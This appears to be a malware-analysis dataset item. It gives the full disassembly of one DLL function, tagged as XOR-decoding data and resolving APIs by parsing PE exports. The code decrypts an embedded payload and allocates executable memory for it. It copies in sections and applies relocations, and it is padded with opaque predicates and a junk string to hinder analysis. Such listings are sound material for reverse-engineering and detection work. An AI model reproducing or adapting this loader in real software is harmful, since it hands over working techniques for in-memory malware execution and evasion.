Function at 0x180001090
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010c2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010c2
nop
jmp 0x1800010c0
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
cmp dword [0x180020a74], 0xa
jl 0x180001102
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001102
nop dword [rax]
jmp 0x180001100
lea rdi, section..data
mov r10d, 3
mov rbx, r8
jmp 0x180001132
add rdi, 1
add rbx, 1
sub r10, 1
jb 0x1800011b2
mov al, byte [rdi]
mov byte [rbx], al
nop word cs:[rax + rax]
mov ecx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp edx, 0xa
jl 0x180001190
test esi, esi
je 0x180001190
cmp edx, 0xa
jl 0x180001170
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800011b0
nop
mov byte [rbx], al
mov ecx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rbx], al
jl 0x180001140
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001170
jmp 0x180001140
cmp edx, 0xa
jl 0x180001120
test esi, esi
je 0x180001120
nop dword [rax]
jmp 0x1800011a0
jmp 0x1800011b0
cmp dword [0x180020a6c], 0xa
jl 0x1800011d2
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x1800011d2
nop dword [rax]
jmp 0x1800011d0
mov r12d, dword [r8]
test r12, r12
je 0x1800012ef
xor ebx, ebx
cmp r12d, 0x10
jb 0x1800012c2
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x1800012c2
mov ebx, r12d
and ebx, 0xfffffff0
lea rdi, [rbx - 0x10]
mov rax, rdi
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rdi, rdi
je 0x180001289
mov rdi, r8
sub rdi, rax
xor esi, esi
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov eax, esi
and eax, 0x3e0
movups xmm1, xmmword [rax + r10 + 4]
movups xmm2, xmmword [rsi + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + r10 + 0x404], xmm2
lea eax, [rsi + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + r10 + 0x414], xmm1
add rsi, 0x20
add rdi, 2
jne 0x180001232
jmp 0x18000128b
xor esi, esi
test r8, r8
je 0x1800012bd
mov eax, esi
and eax, 0x3f0
lea rdi, section..data
movups xmm0, xmmword [rax + rdi + 4]
movups xmm1, xmmword [rsi + rdi + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + rdi + 0x404], xmm1
cmp rbx, r12
je 0x1800012ef
lea rsi, section..data
mov edi, ebx
and edi, 0x3ff
movzx eax, byte [rdi + rsi + 4]
xor al, byte [rbx + rsi + 0x404]
xor al, 0xc
mov byte [rbx + rsi + 0x404], al
add rbx, 1
cmp rbx, r12
jb 0x1800012c9
lea r13, section..data
lea r10, [r12 + r13]
add r10, 0x404
cmp edx, 0xa
jl 0x180001315
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001470
cmp edx, 0xa
jl 0x180001329
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001490
mov r8d, 3
mov rdx, r9
mov rbx, r10
jmp 0x180001345
add rbx, 1
add rdx, 1
sub r8, 1
jb 0x1800013ae
mov cl, byte [rbx]
mov byte [rdx], cl
mov eax, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp edi, 0xa
jl 0x1800013a0
test esi, esi
je 0x1800013a0
cmp edi, 0xa
jl 0x180001380
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x180001480
nop dword [rax + rax]
mov byte [rdx], cl
mov eax, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rdx], cl
jl 0x180001349
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x180001380
jmp 0x180001349
cmp edi, 0xa
jl 0x180001337
test esi, esi
je 0x180001337
jmp 0x180001490
cmp dword [0x180020a6c], 0xa
jl 0x1800014a4
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1800014a4
cmp edi, 0xa
jl 0x1800013e4
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800014a2
mov r8d, 3
mov rax, r9
mov rdi, r10
jmp 0x180001404
add rdi, 1
add rax, 1
sub r8, 1
jb 0x180001301
mov bl, byte [rdi]
mov byte [rax], bl
mov ecx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp edx, 0xa
jl 0x180001460
test esi, esi
je 0x180001460
cmp edx, 0xa
jl 0x180001440
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800014a0
nop word cs:[rax + rax]
mov byte [rax], bl
mov ecx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
mov byte [rax], bl
jl 0x180001408
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001440
jmp 0x180001408
cmp edx, 0xa
jl 0x1800013f2
test esi, esi
je 0x1800013f2
jmp 0x180001469
jmp 0x180001470
jmp 0x180001480
jmp 0x180001490
jmp 0x1800014a0
jmp 0x1800014a2
add r10, 4
mov qword [rbp - 8], r10
mov esi, dword [r9]
test rsi, rsi
je 0x180001642
xor eax, eax
cmp esi, 0x20
jb 0x1800015e1
lea rdx, [rsi - 1]
cmp rdx, 0x400
jae 0x1800015e1
lea rax, [r12 + r13]
add rax, 0x408
lea rcx, [rsi + r13]
add rcx, 4
cmp rax, rcx
jae 0x18000150b
lea rax, [rsi + r12]
add rax, r13
add rax, 0x408
lea rcx, str.tjhRBAkMJOIbTFFXCHvIyWzrYZjSToiDuacMkDtTtzeeLVejbOKqreWOpTqniudblitWDCSDJfEigpRUJAmODTbqbwWhxhvxwCvaLWBQYGlsXFchUHUEEerWXqqIrbqOAMfZywjzdncYtcLERDdFbAObTmSSZZjTyZUCnOQDmpMeMjjslRQXJOBddeasVoLFjgqloCRbKJEeDbCGkdjwgukBKVRmKGcVCiAJVKwShcvfhZTDUgsMdpFvwRYknecMuKJamHkAkFfbuPvtRydmxOBluKDQEfVbAfFvDeYDWMIZyErmAKhDwBWyGYYRyDKLgKIaViXATzJWmaftWCzJSIkKFkyrTmrRvgoCuvHuaZPbOVABYwDPOHByTGCGWKArBcYHZpyoqcknpiiybRYQVRXrPHkQbBMMcPpFODcMHFKpqaCxUvpYMZPVmLAKlGweCuZDcZVuumljzBWMsaMPWOmMcdIyPqmVAwovRguqQjIhJOVjHcHzrKPAzwVYLOKLuJylqYIiJpfJyDvCWfsganMPROCrIEkIEeawYTLblDHfIoMjsvqxLKSPJFabBpsqyHTlTHvgdIZwkbxWAscByqZfmmMjulJMtCEbqWsdQsTaptziWWHjUGCxexrMbFDfAIRbunADDeItqrEmeoQZUiGAmoWZXIhzGwqjpemrStqutLSEwKPObRMakrLqqVUEWxSnylHEfzpjOoHEuFVKftiixWbzdPhdyyokBwkcOMKFxGLipeFFeYAkTXJdmfCDuWerrokxMGlrJQInXrtijiOUPwjnkDeRkpPGvPMeRoCLSLRrFLOnPvKZdGbgwrbdUPavASQlQxAzcIxTzmxeyDwqwsQyhUczsJWmElIiXdACesdSoZhecRVIFEMUmDercXQWoGVJwiCFZSCmCnHxcSTrOYejrkvuoJzDwExjUXGHYGFfvySIFfWjbmIzoXJvsGvbGDgwwMWUxdQYsJlZJaBBxowGCsqlAGeVFwWREcGScuwSuEpUVsuoeISPutf
cmp rax, rcx
jbe 0x18000150b
xor eax, eax
jmp 0x1800015e1
mov eax, esi
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x1800015a5
lea rdi, [r12 + r13]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor ecx, ecx
mov edx, ecx
and edx, 0x3c0
movups xmm0, xmmword [rdx + r13 + 4]
movups xmm1, xmmword [rdx + r13 + 0x14]
movups xmm2, xmmword [rdi + rcx - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rcx - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rcx - 0x10]
movups xmm3, xmmword [rdi + rcx]
movups xmmword [rdi + rcx - 0x30], xmm2
movups xmmword [rdi + rcx - 0x20], xmm0
lea edx, [rcx + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r13 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r13 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rcx - 0x10], xmm0
movups xmmword [rdi + rcx], xmm1
add rcx, 0x40
add rbx, 2
jne 0x18000153e
jmp 0x1800015a7
xor ecx, ecx
test r8, r8
je 0x1800015dc
mov edx, ecx
and edx, 0x3e0
movups xmm0, xmmword [rdx + r13 + 4]
movups xmm1, xmmword [rdx + r13 + 0x14]
mov rdx, qword [rbp - 8]
movups xmm2, xmmword [rdx + rcx]
xorps xmm2, xmm0
movups xmm0, xmmword [rdx + rcx + 0x10]
xorps xmm0, xmm1
movups xmmword [rdx + rcx], xmm2
movups xmmword [rdx + rcx + 0x10], xmm0
cmp rax, rsi
je 0x180001642
mov rdx, rax
not rdx
test sil, 1
je 0x180001605
mov ecx, eax
and ecx, 0x3e0
mov cl, byte [rcx + r13 + 4]
mov rbx, qword [rbp - 8]
xor byte [rbx + rax], cl
or rax, 1
add rdx, rsi
je 0x180001642
lea rdx, [r12 + r13]
add rdx, 0x409
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r13 + 4]
xor byte [rdx + rax - 1], cl
lea ecx, [rax + 1]
and ecx, 0x3ff
movzx ecx, byte [rcx + r13 + 4]
xor byte [rdx + rax], cl
add rax, 2
cmp rsi, rax
jne 0x180001615
cmp dword [0x180020a7c], 0xa
jl 0x18000165e
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000165e
jmp 0x18000165c
add r12, 0x408
movsxd rsi, dword [0x180004440]
mov rax, qword [rbp - 8]
cmp byte [rax], 0
je 0x180001683
mov rax, qword [rbp - 8]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x180001679
cmp byte [rax + 1], 0
mov qword [rbp], rax
je 0x18000169b
mov rax, qword [rbp]
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x180001691
lea r15, [rax + 2]
mov qword [rbp - 0x28], rax
cmp byte [rax + 2], 0
mov rax, r15
je 0x1800016b9
mov rax, r15
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1800016af
cmp byte [rax + 1], 0
mov qword [rbp - 0x20], rax
je 0x1800016d1
mov rax, qword [rbp - 0x20]
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x1800016c7
cmp byte [rax + 2], 0
lea r14, [rax + 2]
mov rdi, r14
je 0x1800016eb
mov rdi, r14
cmp byte [rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x1800016e1
add qword [rbp], 1
cmp byte [rdi + 1], 0
mov rax, rdi
je 0x180001706
mov rax, rdi
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x1800016fc
mov qword [rbp - 0x10], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000173c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002006
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000176b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002008
lea rax, [rsi + r13]
add rax, 0x404
mov qword [rbp - 0x18], rax
add rdi, 1
add qword [rbp - 0x10], 2
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
xor edx, edx
movzx ecx, byte [r15 + rdx]
movzx ebx, byte [rax + rdx]
test cl, cl
je 0x1800017b1
add rdx, 1
cmp cl, bl
je 0x18000179c
cmp cl, bl
je 0x1800017bf
add rsi, 4
add r10, 2
jmp 0x180001795
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017f9
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000200a
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001828
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000200c
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
xor eax, eax
movzx ecx, byte [r14 + rax]
movzx ebx, byte [rsi + rax]
test cl, cl
je 0x180001857
add rax, 1
cmp cl, bl
je 0x180001842
cmp cl, bl
je 0x180001865
add rdx, 4
add rdi, 2
jmp 0x18000183b
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, qword [rbp - 0x10]
mov r8, rdx
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800018c9
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000200e
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018f8
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002010
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x18000192c
add rsi, 1
cmp al, bl
je 0x180001912
cmp al, bl
je 0x18000193a
add rdx, 4
add rcx, 2
jmp 0x18000190b
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x18]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov rbx, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edi, [rax - 1]
imul edi, eax
cmp ecx, 0xa
jl 0x180002012
mov edx, edi
and edx, 1
je 0x180002012
movsxd rax, dword [0x180004440]
mov qword [rbp - 0x20], rax
cmp dword [0x180020a7c], 0xa
jl 0x1800019b6
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fea
mov rax, qword [rbp - 8]
cmp byte [rax], 0
je 0x1800019cd
mov rax, qword [rbp - 8]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1800019c3
cmp byte [rax + 1], 0
mov qword [rbp], rax
je 0x1800019e5
mov rax, qword [rbp]
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x1800019db
cmp byte [rax + 2], 0
lea r14, [rax + 2]
mov rax, r14
je 0x1800019ff
mov rax, r14
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1800019f5
cmp byte [rax + 1], 0
je 0x180001a0f
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x180001a05
cmp byte [rax + 2], 0
lea r15, [rax + 2]
mov rdi, r15
je 0x180001a29
mov rdi, r15
cmp byte [rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x180001a1f
add qword [rbp], 1
cmp byte [rdi + 1], 0
mov rax, rdi
je 0x180001a44
mov rax, rdi
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x180001a3a
mov qword [rbp - 0x10], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a7a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fec
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001aa9
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fee
add rdi, 1
add qword [rbp - 0x10], 2
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
xor edx, edx
movzx ecx, byte [r14 + rdx]
movzx ebx, byte [rax + rdx]
test cl, cl
je 0x180001ae1
add rdx, 1
cmp cl, bl
je 0x180001acc
cmp cl, bl
je 0x180001aef
add rsi, 4
add r10, 2
jmp 0x180001ac5
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b29
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ff0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b58
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ff2
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
xor eax, eax
movzx ecx, byte [r15 + rax]
movzx ebx, byte [rsi + rax]
test cl, cl
je 0x180001b87
add rax, 1
cmp cl, bl
je 0x180001b72
cmp cl, bl
je 0x180001b95
add rdx, 4
add rdi, 2
jmp 0x180001b6b
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, qword [rbp - 0x10]
mov r8, rdx
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bf9
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ff4
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c28
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ff6
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001c5c
add rsi, 1
cmp al, bl
je 0x180001c42
cmp al, bl
je 0x180001c6a
add rdx, 4
add rcx, 2
jmp 0x180001c3b
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x20]
mov edx, dword [rax + r13 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rax, dword [0x180004440]
mov qword [rbp - 0x20], rax
cmp dword [0x180020a7c], 0xa
jl 0x180001cc2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ff8
mov rax, qword [rbp - 8]
cmp byte [rax], 0
je 0x180001cd9
mov rax, qword [rbp - 8]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x180001ccf
cmp byte [rax + 1], 0
mov qword [rbp], rax
je 0x180001cf1
mov rax, qword [rbp]
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x180001ce7
cmp byte [rax + 2], 0
lea r14, [rax + 2]
mov rax, r14
je 0x180001d0b
mov rax, r14
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x180001d01
cmp byte [rax + 1], 0
je 0x180001d1b
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x180001d11
cmp byte [rax + 2], 0
lea r15, [rax + 2]
mov rdi, r15
je 0x180001d35
mov rdi, r15
cmp byte [rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x180001d2b
add qword [rbp], 1
cmp byte [rdi + 1], 0
mov rax, rdi
je 0x180001d50
mov rax, rdi
cmp byte [rax + 2], 0
lea rax, [rax + 1]
jne 0x180001d46
mov qword [rbp - 0x10], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d86
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ffa
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001db5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ffc
add rdi, 1
add qword [rbp - 0x10], 2
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
xor edx, edx
movzx ecx, byte [r14 + rdx]
movzx ebx, byte [rax + rdx]
test cl, cl
je 0x180001ded
add rdx, 1
cmp cl, bl
je 0x180001dd8
cmp cl, bl
je 0x180001dfb
add rsi, 4
add r10, 2
jmp 0x180001dd1
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e35
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ffe
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e64
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002000
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
xor eax, eax
movzx ecx, byte [r15 + rax]
movzx ebx, byte [rsi + rax]
test cl, cl
je 0x180001e93
add rax, 1
cmp cl, bl
je 0x180001e7e
cmp cl, bl
je 0x180001ea1
add rdx, 4
add rdi, 2
jmp 0x180001e77
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, qword [rbp - 0x10]
mov r8, rdx
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f05
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002002
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f34
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002004
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r12 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001f68
add rsi, 1
cmp al, bl
je 0x180001f4e
cmp al, bl
je 0x180001f76
add rdx, 4
add rcx, 2
jmp 0x180001f47
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x20]
mov edx, dword [rax + r13 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001fc3
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000198d
cmp dword [0x180020a7c], 0xa
jl 0x180001665
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001665
jmp 0x18000165c
jmp 0x180001fea
jmp 0x180001fec
jmp 0x180001fee
jmp 0x180001ff0
jmp 0x180001ff2
jmp 0x180001ff4
jmp 0x180001ff6
jmp 0x180001ff8
jmp 0x180001ffa
jmp 0x180001ffc
jmp 0x180001ffe
jmp 0x180002000
jmp 0x180002002
jmp 0x180002004
jmp 0x180002006
jmp 0x180002008
jmp 0x18000200a
jmp 0x18000200c
jmp 0x18000200e
jmp 0x180002010
test dil, 1
sete dl
cmp ecx, 0xa
setl r11b
or r11b, dl
cmp r11b, 1
jne 0x180002128
mov rdx, qword [rbp - 0x18]
lea r9, [rdx + 0x108]
xor r8d, r8d
mov rdx, qword [rbp - 0x18]
movzx edx, word [rdx + 6]
cmp r8, rdx
jae 0x180002130
cmp dword [0x180020a74], 0xa
jl 0x18000206a
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000212e
lea rcx, [r8 + r8*4]
mov eax, dword [r9 + rcx*8 + 0xc]
mov r10d, dword [r9 + rcx*8 + 0x10]
add rax, rbx
mov ecx, dword [r9 + rcx*8 + 0x14]
lea rdi, [rcx + r13]
add rdi, 0x404
sub r10, 1
jb 0x1800020fc
mov cl, byte [rdi]
mov byte [rax], cl
mov ecx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp edx, 0xa
jl 0x1800020e9
test esi, esi
je 0x1800020e9
cmp edx, 0xa
jl 0x1800020c3
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000212a
movzx ecx, byte [rdi]
mov byte [rax], cl
mov ecx, dword [0x180020a78]
cmp dword [0x180020a74], 0xa
movzx edx, byte [rdi]
mov byte [rax], dl
jl 0x180002095
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800020c3
jmp 0x180002095
add rdi, 1
add rax, 1
cmp edx, 0xa
jl 0x18000208b
test esi, esi
je 0x18000208b
jmp 0x18000212c
add r8, 1
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete dl
cmp ecx, 0xa
setl r11b
or r11b, dl
jne 0x18000203b
jmp 0x180002128
jmp 0x18000212a
jmp 0x18000212c
jmp 0x18000212e
mov rdx, qword [rbp - 0x18]
mov r15d, dword [rdx + 0xb0]
cmp dword [rbx + r15], 0
je 0x1800022cd
add r15, rbx
mov rdx, qword [rbp - 0x18]
mov rdx, qword [rdx + 0x30]
mov r14, rbx
sub r14, rdx
movabs r8, 0x1fffffff8
mov r10, r15
jmp 0x180002194
mov edx, dword [r10 + 4]
lea r15, [r10 + rdx]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete r9b
cmp ecx, 0xa
setl r11b
or r11b, r9b
cmp dword [r10 + rdx], 0
mov r10, r15
je 0x1800022cd
test r11b, 1
je 0x180002194
mov edx, dword [r10 + 4]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp rdx, 7
jbe 0x1800022b4
cmp ecx, 0xa
jl 0x1800021be
test edi, edi
jne 0x1800022c7
add rdx, r8
shr rdx, 1
mov r9d, edx
xor r11d, r11d
cmp r11, r9
je 0x1800022b4
movzx edx, word [r10 + r11*2 + 8]
